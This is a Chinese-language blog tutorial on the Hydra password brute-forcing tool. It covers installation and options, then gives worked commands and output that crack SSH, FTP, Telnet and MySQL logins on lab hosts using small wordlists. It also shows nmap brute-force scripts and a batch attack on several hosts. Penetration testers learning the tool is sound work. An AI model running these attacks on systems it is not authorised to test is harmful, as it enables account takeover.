hydra暴力破解工具

Hydra是一款暴力破解工具,进行并行登录破解,破解远程服务的用户名密码,由黑客组织THC开发,它可以对超过50个协议进行快速字典攻击,包括telnet、ftp、http(s)、smb、MySQL、SMTP等。

Hydra安装

官方github地址:https://github.com/vanhauser-thc/thc-hydra
Kali Linux中自带Hydra,下面介绍其它系统安装方法。

Ubuntu安装

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$ apt-get install hydra

centos系统安装

1、下载
地址:https://github.com/vanhauser-thc/thc-hydra/releases/tag/v9.2

2、安装依赖

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$ yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

3、编译安装

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$ tar zxf thc-hydra-9.2.tar.gz
$ cd thc-hydra-9.2
$ ./configure
$ make
$ make install

查看帮助信息:

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hydra -h
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
-R restore a previous aborted/crashed session
..............

windows安装

GitHub地址:https://github.com/maaaaz/thc-hydra-windows
下载发布版本,解压就可以使用了

Hydra参数说明

选项 说明
-R 继续上一次破解
-I 忽略现有还原文件(不等待10秒)
-s PORT 指定默认端口
-l LOGIN 指定破解登录用户名
-L FILE 使用文件指定多个用户名
-p PASS 指定密码
-P FILE 指定密码字典
-x MIN:MAX:CHARSET 密码暴力生成
-y 禁止在暴力破解中使用符号
-r 对选项-x使用非随机方法
-e nsr n:空密码试探,s:使用指定用户和密码试探。
-u 循环用户
-C FILE 冒号分隔用户名密码:”login:pass” 格式
-M FILE 要攻击的服务器列表,每行一个条目,’:’指定端口
-o FILE 将找到的登录/密码写入文件
-b FORMAT 指定-o输出格式,默认text,可选json, jsonv1
-f / -F 找到用户名/密码后中止破解,-f:每个主机,-F:所有
-t TASKS 每个主机并行线程数,默认16
-T TASKS 所有并行线程数,默认64
-w / -W TIME 最大等待响应时间
-c TIME 所有进程每次尝试登录等待时间
-4 / -6 IPv4(默认)/IPv6地址
-v / -V / -d 详细日志模式/每次尝试仅显示用户名密码/调试模式
-k 不重做失败的尝试(适用于-M批量扫描)
-q 不要打印错误连接消息
-U 服务模块详细使用信息
server 目标服务名称或IP地址(也可以使用-M参数)
service 要破解的服务
OPT 可选项

支持的服务包括:adam6500, asterisk, cisco, cisco-enable, cvs, ftp, http-{head|get|post}, http-{get|post}-form, http-proxy, http-proxy-urlenum, icq, imap, irc, ldap2, ldap3[s], mssql, mysql(v4), nntp, pcanywhere, pcnfs, pop3, redis, rexec, rlogin, rpcap, rsh, rtsp, s7-300, smb, smtp, smtp-enum, snmp, socks5, teamspeak, telnet, vmauthd, vnc, xmpp

Hydra使用实例

手动创建用户名字典和密码字典

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$ cat user.txt 
admin
root
test
zhy
haha
$ cat pwd.txt
admin
test
123456
666666
zhy
12345678
$

破解ssh

使用单个用户名密码

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$ hydra 192.168.20.9 ssh -l root -p 12345678
ydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-21 23:41:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.20.9:22/
[22][ssh] host: 192.168.20.9 login: root password: 12345678
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-21 23:41:46

上面的结果提示推荐使用-t 4,默认并发数为16

使用密码字典

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$ hydra 192.168.20.9 ssh -L user.txt -P pwd.txt -t 4 -e ns
hydra ssh://192.168.20.9 -L user.txt -P pwd.txt -t 4 -e ns -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-21 23:50:05
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
[DATA] attacking ssh://192.168.20.9:22/
[22][ssh] host: 192.168.20.9 login: root password: 12345678
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-21 23:50:23

-e ns参数:尝试空密码

破解ftp/telnet

与ssh类似

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$ hydra 192.168.20.9 ftp -L user.txt -P pwd.txt -t 4
$ hydra 192.168.20.9 telnet -L user.txt -P pwd.txt -t 4

破解MySQL数据库

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$ hydra -L user.txt -P pwd.txt -t 4 127.0.0.1 mysql
$ hydra -L user.txt -P pwd.txt -t 4 mysql://127.0.0.1:3306
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-22 15:55:50
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:5/p:6), ~8 tries per task
[DATA] attacking mysql://127.0.0.1:3306/
[3306][mysql] host: 127.0.0.1 login: admin password: admin
[3306][mysql] host: 127.0.0.1 login: root password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-22 15:55:51

ssh、ftp、telnet和mysql协议也可以使用nmap工具破解:
nmap暴力破解脚本:https://nmap.org/nsedoc/categories/brute.html

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$ nmap --script ftp-brute -p 21 <host>
$ nmap --script ssh-brute -p 22 <host>
$ nmap --script mysql-brute -p 3306 <host>

批量破解多个主机:-M参数

创建主机字典:

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$ cat host.txt
192.168.20.8
192.168.20.9

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$ hydra -L user.txt -P pwd.txt -t 4 -M host.txt -f ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-21 23:59:03
[DATA] max 4 tasks per 2 servers, overall 8 tasks, 30 login tries (l:5/p:6), ~8 tries per task
[DATA] attacking ssh://(2 targets):22/
[22][ssh] host: 192.168.20.9 login: root password: 12345678
[22][ssh] host: 192.168.20.8 login: root password: 12345678
2 of 2 targets successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-21 23:59:17

将破解日志保存到文件中:

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$ hydra -L user.txt -P pwd.txt -t 4 -vV -M host.txt -o results.log ssh

--THE END--

本文标题:hydra暴力破解工具

文章作者:hiyo

文章链接:https://hiyongz.github.io/posts/penetration-testing-for-hydra-tool/

许可协议:本博客文章除特别声明外,均采用CC BY-NC-ND 4.0 许可协议。转载请保留原文链接及作者。

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